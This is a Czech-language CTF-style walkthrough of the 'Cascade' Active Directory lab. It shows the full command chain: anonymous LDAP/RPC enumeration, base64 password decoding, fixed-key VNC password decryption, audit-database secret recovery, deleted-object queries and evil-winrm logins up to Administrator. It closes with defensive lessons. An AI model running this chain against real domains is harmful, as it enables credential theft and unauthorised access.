Cascade
Úvod a kontext
Cascade je ukázkový Active Directory řetězec postavený na tom, že citlivé údaje unikají do popisů účtů, sdílených souborů i interních auditních nástrojů. Žádný krok sám o sobě není dramatický, ale dohromady otevřou cestu od anonymního LDAP/RPC průzkumu až k účtu Administrator.
Výukově je na tomhle stroji nejcennější právě návaznost jednotlivých stop. cascadeLegacyPwd v LDAP popisu odemkne r.thompson, ten dovede ke konfiguraci VNC a účtu s.smith, auditní nástroje vydají heslo pro ArkSvc a teprve přes přístup k deleted objects se objeví staré heslo administrátora.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-26 17:47:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -2m20s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-04-26T17:48:22
|_ start_date: 2020-04-26T14:00:54
Anonymní RPC a LDAP
Cascade dovolí hodně užitečný první průzkum i bez přihlášení. rpcclient vrátí seznam účtů a windapsearch navíc ukáže atribut cascadeLegacyPwd, který je uložený v base64. To je důležitý moment: nejde o crack, ale o prosté přečtení historického hesla uloženého přímo v adresářových datech.
rpcclient -W "" -U "%" -c querydispinfo $IP
./windapsearch/windapsearch.py --dc-ip $IP --full --functionality -G -U -PU -C --da --admin-objects --user-spns --unconstrained-users --unconstrained-computers --gpos
=> cascadeLegacyPwd: clk0bjVldmE=
=> userPrincipalName: r.thompson@cascade.local
První doménové heslo a přístup do sdílení
Po dekódování clk0bjVldmE= vznikne rY4n5eva, které funguje pro r.thompson. Tím se otevře SMB share Data, kde už leží další konkrétní artefakty.
echo 'clk0bjVldmE=' | base64 -d
./impacket/examples/smbclient.py r.thompson:rY4n5eva@cascade.local
=> rY4n5eva
=> r.thompson:rY4n5eva
Analýza zjištění
VNC konfigurace a účet s.smith
Ve Data share je soubor s.smith/VNC Install.reg. Heslo v něm není hash pro offline crack, ale VNC tajemství šifrované známým fixním klíčem. Proto dává smysl rovnou ho dešifrovat a ověřit proti dalšímu doménovému účtu.
mount //$IP/Data mnt -o username=r.thompson
s.smith/VNC\ Install.reg:Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"
Získání přístupu
WinRM jako s.smith
Jakmile se heslo pro s.smith ověří, dává WinRM nejčistší způsob další práce. Na doménovém řadiči je to přesně ten typ přístupu, který je pohodlnější a méně křehký než SMB-only enumerace.
./evil-winrm/evil-winrm.rb -i $IP -u s.smith -p 'sT333ve2'
Získání user flagu
user.txt tady hlavně potvrzuje, že sled indicií z LDAP a SMB opravdu vedl k běžnému interaktivnímu přístupu v doméně pod s.smith.
cat user.txt
__CENSORED__
Eskalace oprávnění
Auditní nástroje a účet ArkSvc
Další krok už neleží v SMB share Data, ale v auditních souborech. RunAudit.bat ukáže, že CascAudit.exe pracuje nad Audit.db. Z něj jde získat šifrované tajemství účtu ArkSvc, které po dešifrování vyjde jako w3lc0meFr31nd.
type RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
sqlitebrowser
=> ArkSvc:BQO5l5Kj9MdErXx6Q6AGOw==
=> password: w3lc0meFr31nd
./evil-winrm/evil-winrm.rb -i $IP -u ArkSvc -p 'w3lc0meFr31nd'
Deleted Objects a TempAdmin
Teprve účet ArkSvc dovolí dotazovat deleted objects v AD. Tam se objeví smazaný TempAdmin s atributem cascadeLegacyPwd, který je znovu jen base64. Po dekódování vznikne heslo administrátora a řetězec se tím uzavírá.
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
Deleted : True
DistinguishedName : CN=TempAdmin\
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
./evil-winrm/evil-winrm.rb -i $IP -u Administrator -p 'baCT3r1aN00dles'
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- První vstup nevznikl exploitací služby, ale čtením atributu
cascadeLegacyPwdv LDAP, ze kterého šlo získat heslor.thompson. - Přechod na
s.smithotevřela zdánlivě nevinná konfiguraceVNC Install.reguložená ve sdíleném diskuData. - Root/admin část stála na interních provozních artefaktech:
Audit.db, účtuArkSvca historickém hesluTempAdminuloženém v deleted objects.
Co si odnést do praxe
- Atributy v Active Directory nejsou vhodné místo pro ukládání starých nebo pomocných hesel. Jakmile se do popisu účtu dostane
cascadeLegacyPwd, první foothold už není otázka crackingu, ale jen čtení a dekódování. - Read-only SMB share bývá podceňované riziko. Na Cascade právě sdílené konfigurační a auditní soubory propojily několik účtů do jednoho souvislého útoku.
- Administrativní servisní účty potřebují minimální oprávnění a důslednou hygienu kolem deleted objects. Historické tajemství pro
TempAdmintady přežilo dlouho po smazání účtu a nakonec posloužilo k přímému přihlášení jakoAdministrator.